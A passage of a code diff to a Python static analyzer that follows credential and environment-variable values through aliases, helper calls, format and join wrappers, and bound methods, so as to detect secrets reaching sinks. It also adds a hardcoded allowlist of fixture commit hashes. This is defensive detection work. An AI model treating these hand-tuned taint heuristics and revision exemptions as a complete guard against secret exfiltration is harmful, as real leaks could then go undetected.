python_local_method_is_bound(call_node, function, tree, parents): + """Only instance receivers (or classmethod descriptors) consume self.""" + if any(python_dotted_name(item) == "classmethod" + for item in getattr(function, "decorator_list", ())): + return True + index = getattr(tree, "_issue79_local_return_index", None) + if index is None: + return True + assignments, local_method_index = index + scopes = python_lexical_scope_chain(python_enclosing_scope(call_node, parents), parents) + pending = [call_node.func] + seen = set() + while pending: + target = pending.pop() + if id(target) in seen: + continue + seen.add(id(target)) + if isinstance(target, ast.Attribute) and isinstance(target.value, ast.Name): + if python_local_class_alias_names(target.value.id, function.name, scopes, local_method_index, assignments): + return False + elif isinstance(target, ast.Name): + for scope in scopes: + values = assignments.get((id(scope), target.id), ()) + if values: + pending.extend(values) + break + return True + + +def python_local_bound_method_candidates(name, call_node, tree, parents): + """Resolve assigned bound methods, including static getattr aliases.""" + index = getattr(tree, "_issue79_local_return_index", None) + if index is None: + python_local_call_return_values(call_node, tree, parents) + index = getattr(tree, "_issue79_local_return_index", None) + assignments_by_scope, _methods_by_scope = index + if not _methods_by_scope: + return [] + visible_scopes = set(python_lexical_scope_chain( + python_enclosing_scope(call_node, parents), parents + )) + + def methods(candidate_name, seen): + if candidate_name in seen: + return [] + seen.add(candidate_name) + found = [] + for scope in visible_scopes: + for value in assignments_by_scope.get((id(scope), candidate_name), ()): + if isinstance(value, ast.Attribute): + found.extend(python_local_method_candidates( + value, call_node, tree, parents + )) + elif ( + isinstance(value, ast.Call) + and python_dotted_name(value.func) == "getattr" + and len(value.args) in {2, 3} + ): + for attribute in python_static_string_values(value.args[1], tree): + found.extend(python_local_method_candidates( + ast.Attribute( + value=value.args[0], attr=attribute, + ctx=ast.Load(), + ), call_node, tree, parents + )) + if len(value.args) == 3 and isinstance(value.args[2], ast.Name): + found.extend(methods(value.args[2].id, set(seen))) + elif len(value.args) == 3 and isinstance(value.args[2], ast.Attribute): + found.extend(python_local_method_candidates( + value.args[2], call_node, tree, parents + )) + elif isinstance(value, ast.Name): + found.extend(methods(value.id, set(seen))) + elif isinstance(value, ast.Call): + for returned in python_local_call_return_values( + value, tree, parents + ): + if isinstance(returned, ast.Attribute): + found.extend(python_local_method_candidates( + returned, call_node, tree, parents + )) + return found + + return methods(name, set()) + + +def python_assigned_callable_alias(name, target, tree): + """Conservatively follow local assignment aliases of a known sink/exception.""" + assignments = getattr(tree, "_issue79_callable_alias_index", None) + if assignments is None: + assignments = {} + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + bindings = candidate.targets + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + bindings = [candidate.target] + else: + continue + for binding in bindings: + if isinstance(binding, ast.Name): + assignments.setdefault(binding.id, []).append(candidate.value) + tree._issue79_callable_alias_index = assignments + + def matches(value, seen): + if python_dotted_name(value) == target: + return True + if ( + isinstance(value, ast.Call) + and python_dotted_name(value.func) == "getattr" + and len(value.args) in {2, 3} + ): + if any( + f"{python_dotted_name(value.args[0])}.{attribute}" == target + for attribute in python_static_string_values(value.args[1], tree) + ): + return True + if len(value.args) == 3 and matches(value.args[2], seen): + return True + if ( + isinstance(value, ast.Subscript) + and isinstance(value.value, (ast.List, ast.Tuple)) + and isinstance(value.slice, ast.Constant) + and isinstance(value.slice.value, int) + and not isinstance(value.slice.value, bool) + ): + elements = value.value.elts + index = value.slice.value + return -len(elements) <= index < len(elements) and matches( + elements[index], seen + ) + if not isinstance(value, ast.Name) or value.id in seen: + return False + return any( + matches(candidate, seen | {value.id}) + for candidate in assignments.get(value.id, ()) + if candidate is not None + ) + + return any( + matches(value, {name}) + for value in assignments.get(name, ()) + if value is not None + ) + + +def python_assigned_format_alias(name, tree): + """Resolve local aliases of format callables without evaluating them.""" + assignments = getattr(tree, "_issue79_callable_alias_index", None) + if assignments is None: + python_assigned_callable_alias("", "format", tree) + assignments = getattr(tree, "_issue79_callable_alias_index", {}) + + def matches(value, seen): + if isinstance(value, ast.Attribute) and value.attr == "format": + return True + if python_dotted_name(value) in {"format", "builtins.format", "str.format"}: + return True + if not isinstance(value, ast.Name) or value.id in seen: + return False + return any( + matches(candidate, seen | {value.id}) + for candidate in assignments.get(value.id, ()) + if candidate is not None + ) + + return any( + matches(value, {name}) + for value in assignments.get(name, ()) + if value is not None + ) + +def python_imported_urlencode_aliases(tree): + """Cache urllib.parse.urlencode import spellings without evaluating the AST.""" + aliases = getattr(tree, "_issue79_urlencode_import_aliases", None) + if aliases is None: + aliases = set() + for candidate in ast.walk(tree): + if isinstance(candidate, ast.ImportFrom): + if candidate.level == 0 and candidate.module == "urllib.parse": + aliases.update( + alias.asname or alias.name + for alias in candidate.names + if alias.name == "urlencode" + ) + elif isinstance(candidate, ast.Import): + for alias in candidate.names: + if alias.name == "urllib.parse": + aliases.add((alias.asname or "urllib.parse") + ".urlencode") + elif alias.name == "urllib": + aliases.add((alias.asname or "urllib") + ".parse.urlencode") + tree._issue79_urlencode_import_aliases = aliases return aliases @@ -8958,46 +10325,196 @@ def python_sensitive_value_expression(node, sensitive_names, tree, parents, seen return False seen.add(id(node)) if isinstance(node, ast.Name): - return node.id in sensitive_names - if isinstance(node, ast.Attribute) and python_dotted_name(node) == "os.environ": + if node.id in sensitive_names: + return True + if getattr(tree, "_issue79_member_taint_enabled", False): + return any( + isinstance(value, (ast.Name, ast.Attribute, ast.Subscript)) + and python_sensitive_value_expression( + value, sensitive_names, tree, parents, set(seen) + ) + for value in python_join_assignment_index(tree).get(node.id, ()) + ) + return False + if isinstance(node, ast.Attribute) and python_dotted_name(node) in {"os.environ", "os.environb"}: return True if isinstance(node, ast.Subscript): - if python_dotted_name(node.value) == "os.environ": + if python_dotted_name(node.value) in {"os.environ", "os.environb"}: key = node.slice.value if isinstance(node.slice, ast.Constant) else None - return key is None or not isinstance(key, str) or credential_environment_name(key) + return key is None or not isinstance(key, str) or key == "HOME" or credential_environment_name(key) + if getattr(tree, "_issue79_member_taint_enabled", False) and python_sensitive_member_assignment_value( + node, sensitive_names, tree, parents, set(seen) + ): + return True return python_sensitive_value_expression( - node.value, sensitive_names, tree, parents, seen.copy() + node.value, sensitive_names, tree, parents, set(seen) ) + if isinstance(node, ast.Attribute) and getattr(tree, "_issue79_member_taint_enabled", False) and python_sensitive_member_assignment_value( + node, sensitive_names, tree, parents, set(seen) + ): + return True if isinstance(node, ast.Call): dotted = python_dotted_name(node.func) - if dotted == "os.getenv": + if dotted == "urllib.parse.urlencode" or dotted in python_imported_urlencode_aliases(tree): + return any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents, set(seen) + ) + for value in list(node.args) + + [keyword.value for keyword in node.keywords] + ) + if python_reviewed_string_join_callable(node.func, tree, parents) and any( + python_sensitive_join_argument( + value, sensitive_names, tree, parents, set(seen) + ) + for value in list(node.args) + + [keyword.value for keyword in node.keywords] + ): + return True + if isinstance(node.func, ast.Name) and ( + node.func.id == "format" + or python_assigned_format_alias(node.func.id, tree) + ): + local_format_callables = python_local_function_candidates( + node.func.id, node, tree, parents + ) + python_local_lambda_candidates(node.func.id, node, tree, parents) + if local_format_callables: + sensitive_return = any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents, set(seen) + ) + for value in python_local_call_return_values( + node, tree, parents + ) + ) + if not sensitive_return: + safe_local_format_calls = getattr( + tree, "_issue79_safe_local_format_calls", None + ) + if safe_local_format_calls is None: + safe_local_format_calls = set() + tree._issue79_safe_local_format_calls = safe_local_format_calls + safe_local_format_calls.add(id(node)) + return sensitive_return + if dotted in {"format", "builtins.format"} or ( + isinstance(node.func, ast.Name) + and python_assigned_format_alias(node.func.id, tree) + ): + return any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents, set(seen) + ) + for value in list(node.args) + + [keyword.value for keyword in node.keywords] + ) + if dotted in {"os.getenv", "os.getenvb"}: return True if dotted == "os.environ.get": key = node.args[0].value if node.args and isinstance(node.args[0], ast.Constant) else None - return key is None or not isinstance(key, str) or credential_environment_name(key) + return key is None or not isinstance(key, str) or key == "HOME" or credential_environment_name(key) if ( isinstance(node.func, ast.Name) and node.func.id in python_credential_reader_aliases(tree) ): key = node.args[0].value if node.args and isinstance(node.args[0], ast.Constant) else None - return key is None or not isinstance(key, str) or credential_environment_name(key) - if dotted == "dict" and any( - isinstance(argument, ast.Attribute) - and python_dotted_name(argument) == "os.environ" - for argument in node.args + return key is None or not isinstance(key, str) or key == "HOME" or credential_environment_name(key) + sensitive_constructors = getattr( + tree, "_issue79_sensitive_constructor_names", None + ) + if sensitive_constructors is None: + sensitive_constructors = { + "dict", "list", "tuple", "set", "str", "bytes", "repr", + } + tree._issue79_sensitive_constructor_names = sensitive_constructors + is_sensitive_constructor = dotted in sensitive_constructors + if not is_sensitive_constructor and isinstance(node.func, ast.Name): + constructor_aliases = getattr( + tree, "_issue79_sensitive_constructor_aliases", None + ) + if constructor_aliases is None: + constructor_aliases = {} + tree._issue79_sensitive_constructor_aliases = constructor_aliases + is_sensitive_constructor = constructor_aliases.get(node.func.id) + if is_sensitive_constructor is None: + is_sensitive_constructor = any( + python_assigned_callable_alias( + node.func.id, constructor, tree + ) + or python_imported_function_alias_is_stable( + node.func.id, "builtins", constructor, tree + ) + for constructor in sensitive_constructors + ) + constructor_aliases[node.func.id] = is_sensitive_constructor + if isinstance(node.func, ast.Attribute) and node.func.attr == "format": + return python_sensitive_value_expression( + node.func.value, sensitive_names, tree, parents, set(seen) + ) or any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents, set(seen) + ) + for value in list(node.args) + + [keyword.value for keyword in node.keywords] + ) + if is_sensitive_constructor and any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents, set(seen) + ) + for value in list(node.args) + + [keyword.value for keyword in node.keywords] ): return True - if isinstance(node.func, ast.Attribute): - return python_sensitive_value_expression( - node.func.value, sensitive_names, tree, parents, seen.copy() + if any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents, set(seen) + ) + for value in python_local_call_return_values(node, tree, parents) + ): + return True + if dotted == "SystemExit" or ( + isinstance(node.func, ast.Name) + and python_assigned_callable_alias(node.func.id, "SystemExit", tree) + ): + return any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents, set(seen) + ) + for value in list(node.args) + + [keyword.value for keyword in node.keywords] + ) + if isinstance(node.func, ast.Name) and node.func.id in { + "enumerate", "filter", "iter", "map", "next", "reversed", + "sorted", "zip", "chain", + }: + return any( + python_sensitive_value_expression( + argument, sensitive_names, tree, parents, set(seen) + ) + for argument in node.args ) - if dotted in {"dict", "list", "tuple", "set", "str", "bytes", "repr"}: + if dotted in { + "itertools.chain", + "itertools.chain.from_iterable", + }: return any( python_sensitive_value_expression( - argument, sensitive_names, tree, parents, seen.copy() + argument, sensitive_names, tree, parents, set(seen) ) for argument in node.args ) + if isinstance(node.func, ast.expr): + sensitive_receiver = isinstance(node.func, ast.Attribute) and python_sensitive_value_expression( + node.func.value, sensitive_names, tree, parents, set(seen) + ) + # Imported module calls may encode or otherwise preserve arguments. + # Ordinary methods retain their receiver-based policy; this does + # not turn a lookup in a safe literal map into a copy of its key. + propagated_arguments = (list(node.args) + [keyword.value for keyword in node.keywords] + if python_module_callable_reference(node.func, tree, parents) else []) + return sensitive_receiver or any( + python_sensitive_value_expression(argument, sensitive_names, tree, parents, set(seen)) + for argument in propagated_arguments + ) if isinstance(node, (ast.DictComp, ast.ListComp, ast.SetComp, ast.GeneratorExp)): if any( isinstance(candidate, ast.Call) @@ -9005,30 +10522,253 @@ def python_sensitive_value_expression(node, sensitive_names, tree, parents, seen for candidate in ast.walk(node) ): return False - if any( - isinstance(generator.iter, ast.Attribute) - and ( - python_dotted_name(generator.iter) or "" - ).startswith("os.environ") + return any( + python_sensitive_value_expression( + generator.iter, sensitive_names, tree, parents, set(seen) + ) for generator in node.generators - ): - return True + ) if isinstance(node, (ast.BinOp, ast.BoolOp, ast.UnaryOp, ast.IfExp, ast.JoinedStr)): return any( - python_sensitive_value_expression(child, sensitive_names, tree, parents, seen.copy()) + python_sensitive_value_expression(child, sensitive_names, tree, parents, set(seen)) for child in ast.iter_child_nodes(node) ) - if isinstance(node, (ast.List, ast.Tuple, ast.Set, ast.Dict)): + if isinstance(node, ast.Starred): + return python_sensitive_value_expression( + node.value, sensitive_names, tree, parents, set(seen) + ) + if isinstance(node, (ast.List, ast.Tuple, ast.Set, ast.Dict)): return any( - python_sensitive_value_expression(child, sensitive_names, tree, parents, seen.copy()) + python_sensitive_value_expression(child, sensitive_names, tree, parents, set(seen)) for child in ast.iter_child_nodes(node) ) return False +def python_sensitive_member_key(node): + """Key a simple attribute/item target so later reads retain assigned taint.""" + parts = [] + current = node + while isinstance(current, (ast.Attribute, ast.Subscript)): + if isinstance(current, ast.Attribute): + parts.append("attribute:" + current.attr) + current = current.value + else: + parts.append( + "item:" + ast.dump(current.slice, include_attributes=False) + ) + current = current.value + if not isinstance(current, ast.Name): + return None + parts.append("name:" + current.id) + return "member:" + ":".join(reversed(parts)) + +def python_sensitive_member_assignment_index(tree, parents): + """Index explicit member writes and direct local-helper object aliases.""" + index = getattr(tree, "_issue79_sensitive_member_assignment_index", None) + if index is None: + index = {} + helper_writes = {} + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets, value = [candidate.target], candidate.value + else: + continue + if value is None: + continue + for target in targets: + if not isinstance(target, (ast.Attribute, ast.Subscript)): + continue + key = python_sensitive_member_key(target) + if key is not None: + index.setdefault(key, []).append(value) + scope = python_enclosing_scope(candidate, parents) + if isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef)): + parameters = list(scope.args.posonlyargs) + list(scope.args.args) + for position, parameter in enumerate(parameters): + prefix = "member:name:" + parameter.arg + ":" + if key.startswith(prefix): + helper_writes.setdefault(scope.name, []).append( + (scope, position, prefix, key, value) + ) + for call_node in ast.walk(tree): + if not isinstance(call_node, ast.Call) or not isinstance(call_node.func, ast.Name): + continue + writes = helper_writes.get(call_node.func.id, ()) + if not writes: + continue + visible = python_local_function_candidates( + call_node.func.id, call_node, tree, parents + ) + for function, position, prefix, key, value in writes: + if function not in visible or position >= len(call_node.args): + continue + argument = call_node.args[position] + if isinstance(argument, ast.Name): + alias_key = "member:name:" + argument.id + ":" + key[len(prefix):] + index.setdefault(alias_key, []).append(value) + tree._issue79_sensitive_member_assignment_index = index + return index + +def python_sensitive_member_assignment_value( + node, sensitive_names, tree, parents, seen=None +): + """Propagate taint only from a matching explicit member write.""" + if seen is None: + seen = set() + key = python_sensitive_member_key(node) + if key is None: + return False + marker = ("member", key) + if marker in seen: + return False + next_seen = seen | {marker} + return any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents, set(next_seen) + ) + for value in python_sensitive_member_assignment_index(tree, parents).get(key, ()) + ) + +def python_shadowed_builtin_names(tree, node, parents): + """Return bindings visible to this call, not unrelated nested scopes.""" + shadowed = getattr(tree, "_issue79_shadowed_builtin_names", None) + if shadowed is None: + shadowed = {} + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Name) and isinstance(candidate.ctx, ast.Store): + scope = python_enclosing_scope(candidate, parents) + shadowed.setdefault(id(scope), set()).add(candidate.id) + elif isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + scope = python_enclosing_scope(parents.get(candidate), parents) + shadowed.setdefault(id(scope), set()).add(candidate.name) + elif isinstance(candidate, ast.arg): + scope = python_enclosing_scope(candidate, parents) + shadowed.setdefault(id(scope), set()).add(candidate.arg) + tree._issue79_shadowed_builtin_names = shadowed + scope = python_enclosing_scope(node, parents) + return set().union( + *(shadowed.get(id(visible), set()) for visible in python_lexical_scope_chain(scope, parents)) + ) + +def python_unshadowed_builtin_call(node, names, tree, parents): + if not isinstance(node, ast.Call) or not isinstance(node.func, ast.Name): + return False + return ( + node.func.id in names + and node.func.id not in python_shadowed_builtin_names(tree, node, parents) + ) + +def python_unshadowed_builtin_reference(node, names, tree, parents): + return ( + isinstance(node, ast.Name) + and node.id in names + and node.id not in python_shadowed_builtin_names(tree, node, parents) + ) + +def python_join_assignment_index(tree): + """Cache local assignments used by literal joins and their value aliases.""" + assignments = getattr(tree, "_issue79_join_alias_index", None) + if assignments is None: + assignments = {} + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets = candidate.targets + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets = [candidate.target] + else: + continue + for target in targets: + if isinstance(target, ast.Name) and candidate.value is not None: + assignments.setdefault(target.id, []).append(candidate.value) + tree._issue79_join_alias_index = assignments + return assignments + +def python_reviewed_string_join_callable(value, tree, parents, seen=None): + """Resolve literal-string join receivers and their local callable aliases.""" + if seen is None: + seen = set() + if isinstance(value, ast.Attribute) and value.attr == "join": + receiver = value.value + if python_static_string_values(receiver, tree): + return True + if python_unshadowed_builtin_reference(receiver, {"str"}, tree, parents): + return True + return ( + python_unshadowed_builtin_call(receiver, {"str"}, tree, parents) + and not receiver.args + and not receiver.keywords + ) + if not isinstance(value, ast.Name) or value.id in seen: + return False + return any( + python_reviewed_string_join_callable(candidate, tree, parents, seen | {value.id}) + for candidate in python_join_assignment_index(tree).get(value.id, ()) + ) + +def python_sensitive_join_argument(node, sensitive_names, tree, parents, seen=None): + """Track environment value/item iterators through reviewed join wrappers.""" + if seen is None: + seen = set() + if id(node) in seen: + return False + seen.add(id(node)) + if isinstance(node, ast.Name): + return any( + python_sensitive_join_argument( + candidate, sensitive_names, tree, parents, set(seen) + ) + for candidate in python_join_assignment_index(tree).get(node.id, ()) + ) + if isinstance(node, ast.Call): + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr in {"values", "items"} + ): + return python_sensitive_value_expression( + node.func.value, sensitive_names, tree, parents, set(seen) + ) + if python_unshadowed_builtin_call(node, {"list", "tuple", "iter", "next"}, tree, parents): + return any( + python_sensitive_join_argument( + argument, sensitive_names, tree, parents, set(seen) + ) + for argument in node.args + ) + if python_unshadowed_builtin_call(node, {"map"}, tree, parents): + return any( + python_sensitive_join_argument( + argument, sensitive_names, tree, parents, set(seen) + ) + for argument in node.args[1:] + ) + if isinstance(node, (ast.GeneratorExp, ast.ListComp, ast.SetComp)): + return any( + python_sensitive_join_argument( + generator.iter, sensitive_names, tree, parents, set(seen) + ) + for generator in node.generators + ) + if isinstance(node, (ast.List, ast.Tuple)): + return any( + python_sensitive_join_argument( + element, sensitive_names, tree, parents, set(seen) + ) + for element in node.elts + ) + return False def python_sensitive_value_names(tree, parents): """Resolve credential aliases and local-helper parameter taint.""" - sensitive_names = set() + tree._issue79_member_taint_enabled = False + sensitive_names = { + alias.asname or alias.name + for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) and node.module == "os" + for alias in node.names + if alias.name in {"environ", "environb"} + } assignments = [] for node in ast.walk(tree): if isinstance(node, ast.Assign): @@ -9037,10 +10777,16 @@ def python_sensitive_value_names(tree, parents): assignments.append((node.target, node.value)) elif isinstance(node, ast.NamedExpr): assignments.append((node.target, node.value)) + elif isinstance(node, (ast.For, ast.AsyncFor, ast.comprehension)): + # Values yielded from an environment iterator remain sensitive in + # both loop bodies and comprehension elements. + assignments.append((node.target, node.iter)) def target_names(target): if isinstance(target, ast.Name): return [target.id] + if isinstance(target, ast.Starred): + return target_names(target.value) if isinstance(target, (ast.Tuple, ast.List)): names = [] for element in target.elts: @@ -9048,34 +10794,89 @@ def python_sensitive_value_names(tree, parents): return names return [] - local_functions = { - node.name: node - for node in ast.walk(tree) - if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) - } - def function_parameters(function): positional = list(function.args.posonlyargs) + list(function.args.args) return positional + list(function.args.kwonlyargs) - def call_arguments(call, function): - parameters = function_parameters(function) + def call_arguments(call_node, function, bound_method=False): + positional_parameters = list(function.args.posonlyargs) + list( + function.args.args + ) + is_static_method = any( + python_dotted_name(decorator) == "staticmethod" + or ( + isinstance(decorator, ast.Name) + and python_assigned_callable_alias( + decorator.id, "staticmethod", tree + ) + ) + for decorator in getattr(function, "decorator_list", ()) + ) + if (bound_method and positional_parameters and not is_static_method + and python_local_method_is_bound(call_node, function, tree, parents)): + positional_parameters = positional_parameters[1:] + parameters = positional_parameters + list(function.args.kwonlyargs) bound = [] - for index, argument in enumerate(call.args): - if index >= len(parameters): - break - bound.append((parameters[index].arg, argument)) + for index, argument in enumerate(call_node.args): + if isinstance(argument, ast.Starred): + for parameter in positional_parameters[index:]: + bound.append((parameter.arg, argument.value)) + elif index < len(positional_parameters): + bound.append((positional_parameters[index].arg, argument)) + if function.args.vararg is not None: + bound.append((function.args.vararg.arg, argument)) parameter_by_name = {parameter.arg: parameter.arg for parameter in parameters} - for keyword in call.keywords: + for keyword in call_node.keywords: if keyword.arg in parameter_by_name: bound.append((keyword.arg, keyword.value)) + if keyword.arg is None: + # Expanded maps can bind any named parameter. Literal keys are + # handled precisely; unknown keys fail closed. + if isinstance(keyword.value, ast.Dict) and all( + isinstance(key, ast.Constant) and isinstance(key.value, str) + for key in keyword.value.keys + ): + for key, value in zip(keyword.value.keys, keyword.value.values): + if key.value in parameter_by_name: + bound.append((key.value, value)) + elif ( + isinstance(keyword.value, ast.Call) + and python_dotted_name(keyword.value.func) == "dict" + and not keyword.value.args + and all(item.arg is not None for item in keyword.value.keywords) + ): + for item in keyword.value.keywords: + if item.arg in parameter_by_name: + bound.append((item.arg, item.value)) + else: + bound.extend((parameter.arg, keyword.value) for parameter in parameters) + elif function.args.kwarg is not None and keyword.arg not in parameter_by_name: + bound.append((function.args.kwarg.arg, keyword.value)) + if keyword.arg is None and function.args.kwarg is not None: + bound.append((function.args.kwarg.arg, keyword.value)) return bound # Iterate assignments and direct local-helper calls to a fixed point. The # call-site pass closes the exact environment-map laundering gap where a # helper parameter is later indexed or sent to a sink. - for _ in range(len(assignments) + len(local_functions) + 1): + function_count = sum( + isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)) + for node in ast.walk(tree) + ) + for _ in range(len(assignments) + function_count + 1): changed = False + for function in ast.walk(tree): + if not isinstance(function, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + continue + positional = list(function.args.posonlyargs) + list(function.args.args) + defaults = list(zip(positional[-len(function.args.defaults):], function.args.defaults)) if function.args.defaults else [] + defaults.extend(zip(function.args.kwonlyargs, function.args.kw_defaults)) + for parameter, default in defaults: + if default is not None and python_sensitive_value_expression( + default, sensitive_names, tree, parents + ) and parameter.arg not in sensitive_names: + sensitive_names.add(parameter.arg) + changed = True for target, value in assignments: if not python_sensitive_value_expression( value, sensitive_names, tree, parents @@ -9086,19 +10887,55 @@ def python_sensitive_value_names(tree, parents): sensitive_names.add(name) changed = True for node in ast.walk(tree): - if not isinstance(node, ast.Call) or not isinstance(node.func, ast.Name): + if not isinstance(node, ast.Call): + continue + call_values = list(node.args) + [ + keyword.value for keyword in node.keywords + ] + if not any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents + ) + for value in call_values + ): continue - function = local_functions.get(node.func.id) - if function is None: + if isinstance(node.func, ast.Lambda): + candidates = [(node.func, False)] + elif isinstance(node.func, ast.Name): + candidates = [ + (function, False) + for function in python_local_function_candidates( + node.func.id, node, tree, parents + ) + python_local_lambda_candidates( + node.func.id, node, tree, parents + ) + ] + [ + (method, True) + for method in python_local_bound_method_candidates( + node.func.id, node, tree, parents + ) + ] + elif isinstance(node.func, ast.Attribute): + candidates = [ + (method, True) + for method in python_local_method_candidates( + node.func, node, tree, parents + ) + ] + else: continue - for parameter, argument in call_arguments(node, function): - if python_sensitive_value_expression( - argument, sensitive_names, tree, parents - ) and parameter not in sensitive_names: - sensitive_names.add(parameter) - changed = True + for function, bound_method in candidates: + for parameter, argument in call_arguments( + node, function, bound_method=bound_method + ): + if python_sensitive_value_expression( + argument, sensitive_names, tree, parents + ) and parameter not in sensitive_names: + sensitive_names.add(parameter) + changed = True if not changed: break + tree._issue79_member_taint_enabled = True return sensitive_names @@ -9161,7 +10998,7 @@ def python_dynamic_execution_bindings(tree): if isinstance(node, ast.Constant): return "safe" if isinstance(node, (ast.List, ast.Tuple, ast.Set)): - states = [dynamic_state(element, seen.copy()) for element in node.elts] + states = [dynamic_state(element, set(seen)) for element in node.elts] if "dynamic" in states: return "dynamic" if "unresolved" in states: @@ -9171,7 +11008,7 @@ def python_dynamic_execution_bindings(tree): return "safe" if isinstance(node, ast.Dict): states = [ - dynamic_state(element, seen.copy()) + dynamic_state(element, set(seen)) for element in node.values if element is not None ] @@ -9183,7 +11020,7 @@ def python_dynamic_execution_bindings(tree): return "unknown" return "safe" if isinstance(node, ast.Subscript): - source = container_source(node.value, seen.copy()) + source = container_source(node.value, set(seen)) if source is None: return "unknown" key = node.slice @@ -9205,8 +11042,8 @@ def python_dynamic_execution_bindings(tree): selected = value break if selected is not None: - return dynamic_state(selected, seen.copy()) - container_state = dynamic_state(source, seen.copy()) + return dynamic_state(selected, set(seen)) + container_state = dynamic_state(source, set(seen)) if container_state in {"dynamic", "unresolved"}: return "unresolved" return "unknown" @@ -9310,12 +11147,390 @@ reviewed_python_compile_ast_names = { } reviewed_python_compile_slice_bases = reviewed_python_compile_source_names +# Closed historical fixture inputs already named by the packet's reproductions. +# Adding a revision changes this reviewed boundary; arbitrary Git objects do not. +reviewed_python_compile_packet_revisions = { + "01764bbed0a387129d2a2abbc9e27a87e073f87e", + "055a05bd9d5a9bb101e4400dd7a9236e3afd9f48", + "13b463086a0e7aa710067cafb44dcd9aed118654", + "14f998f32710f122f5861edfac8fdbc89ef95bfb", + "1fc2cede68f2692de0fad7a18d6faf7810544845", + "21f258a4215c667c245abb44ea419eb7901de2ad", + "22a2923033c875ddd4f755774f79f60b94649449", + "2abe394ee32f09888892c4adea5fc08121845d6b", + "2d6a1f700e2fb3aa918f2166e4dd4611601b10be", + "390c89b5e431a165dfbf8fa986cbf2594e3444ce", + "393d029975139b9d28900d477f62e8de392ace96", + "3bc8445567fe68cc355cf3f88f0c962a41e9cad5", + "3c4eb91ba0dabce5ab29785e5da273d1734ae612", + "3f6de0b227e4b44aa3d5e259e937e7dc1f0856bb", + "423d4fc501120a014e63f77d3ef6652606d0326a", + "4bd66186ea8d980a06ed8a4adf7f51e76b5028ef", + "4ee7c855b1e79f9478e5cf73c270731dfbf58cf7", + "518f23c3c875bfda8c8c65239e5171d23c444fc6", + "5297b3c3b05afedf97723b7b58806cdd5519a2b6", + "5f42598b94ce5339c35f55be42eb108973850d24", + "6af854fb660bc7d9c31c9920a6cec5c2fbb1966d", + "6c55f5b67035fb1c7ac334984499cfe80d6bb86b", + "71a7a599de567914158b05e3c480f7e0d48c709f", + "755968f9b4343c860cd8ddeca12a97b277c6e1b5", + "7d91bed688dbea21bea7dff62f41d48d1d57ce4b", + "81787b2e90df496a9c5a51fddc7607d3019834b7", + "8958ec9a5c1e8de6c43d29e389a706f1c9ba75dd", + "8dfa9a031bc321f2ccc208104268f7c5ead9281b", + "943ebece04882a0faf055d73e5988bd8954088f8", + "b16a349509535d6dcb179c9c0bd7a6a313c48bcd", + "b85839cc801395f4ec9560b056a2a6706c7aa306", + "c9f986d0256e47aba7fd273c1ae03993193a39c8", + "ce417347aa100562722477ea1126a5cf6372ec3a", + "d85f99fa70a6f563079b1ed4f29a1bc97740a3c5", + "da1af0d041e37e5df9f3ed8028b51a69ec58ed8c", + "ec5eb8087420bbbbb2a8ccf5c5df190b3c644895", + "f44a4871f87c1a8165593549d58ece6ffee61bf2", + "f84113bf38dd77dacb5dd3ea9b6018c2f2d06471", +} + + +def python_compile_primitive_is_shadowed(name, tree, provider_call=None): + """A matching call spelling does not establish a builtin/stdlib binding.""" + if provider_call is not None: + provider_parents = {child: parent for parent in ast.walk(tree) for child in ast.iter_child_nodes(parent)} + enclosing_provider = provider_parents.get(provider_call) + while enclosing_provider is not None: + if isinstance(enclosing_provider, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + # Definition line order cannot prove when a deferred read runs. + provider_call = None + break + enclosing_provider = provider_parents.get(enclosing_provider) + module_aliases = ({name} | python_assigned_module_names(tree, name)) if name in {"ast", "subprocess", "pathlib", "Path"} else {name} + pathlib_provider_modules = {"pathlib"} | python_assigned_module_names(tree, "pathlib") if name == "Path" else set() + class_borrow_parents = {child: parent for parent in ast.walk(tree) for child in ast.iter_child_nodes(parent)} if name == "Path" else {} + if name == "Path": + module_aliases.update( + imported.asname or imported.name + for statement in ast.walk(tree) + if isinstance(statement, ast.ImportFrom) and statement.module == "pathlib" + for imported in statement.names if imported.name == "Path" + ) + provider_bindings = {} + for statement in ast.walk(tree): + if isinstance(statement, ast.Assign): + bindings, provider_value = statement.targets, statement.value + elif isinstance(statement, (ast.AnnAssign, ast.NamedExpr)): + bindings, provider_value = [statement.target], statement.value + else: + continue + for binding in bindings: + if isinstance(binding, ast.Name): + provider_bindings.setdefault(binding.id, []).append(provider_value) + + def provider_value_borrows_class(value, seen=None): + seen = seen or set() + if value is None or id(value) in seen: + return False + seen = seen | {id(value)} + if isinstance(value, ast.Name): + return value.id in module_aliases + if isinstance(value, (ast.List, ast.Tuple, ast.Set)): + return any(provider_value_borrows_class(element, seen) for element in value.elts) + if isinstance(value, ast.Dict): + return any(provider_value_borrows_class(element, seen) for element in value.values) + if isinstance(value, ast.IfExp): + return any(provider_value_borrows_class(element, seen) for element in (value.body, value.orelse)) + if isinstance(value, ast.BoolOp): + return any(provider_value_borrows_class(element, seen) for element in value.values) + if isinstance(value, (ast.ListComp, ast.SetComp, ast.DictComp, ast.GeneratorExp)): + provider_result_values = (value.key, value.value) if isinstance(value, ast.DictComp) else (value.elt,) + return any( + provider_value_borrows_class(provider_result_value, seen) + for provider_result_value in 